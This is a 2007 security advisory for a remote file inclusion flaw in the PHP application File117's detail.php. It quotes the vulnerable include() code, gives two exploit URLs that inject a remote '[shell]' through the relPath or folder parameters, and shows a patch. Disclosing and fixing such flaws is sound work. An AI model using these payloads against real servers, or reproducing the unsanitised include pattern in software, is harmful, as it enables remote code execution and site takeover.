Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:16824
HistoryApr 24, 2007 - 12:00 a.m.

File117 Remote File Inclusion

2007-04-2400:00:00
vulners.com
14
                         File117 Remote File Inclusion
                      Affected Software .: File117
                      Download..: http://www.sinato.com/jmuffin/upload/file117.zip
                      Risk ..............: high                              
                      Found by ..........: InyeXion                                                  
                      Contact ...........: InyeXion[at]gmail.com    
                      Web .............: Www.InyeXion.com.ar                               

     Affected File:                                                                
/html/php/detail.php

 Vulnerable Code:

<?php
include_once("phpInterface.php");
$$cmname=$cm;
include($relPath.$folder."/".$templatename);
?>

Exploit:

http://[target]/html/php/detail.php?relPath=[shell]? 
http://[target]/html/php/detail.php?folder=[shell]? 

Fixed bug:

if((isset($_REQUEST['relPath'])  || isset($_GET['relPath']) || isset($_POST['relPath'])) && !defined("relPath")){
die("denied access"); }

AND

if((isset($_REQUEST['folder'])  || isset($_GET['folder']) || isset($_POST['folder'])) && !defined("folder")){
die("denied access"); }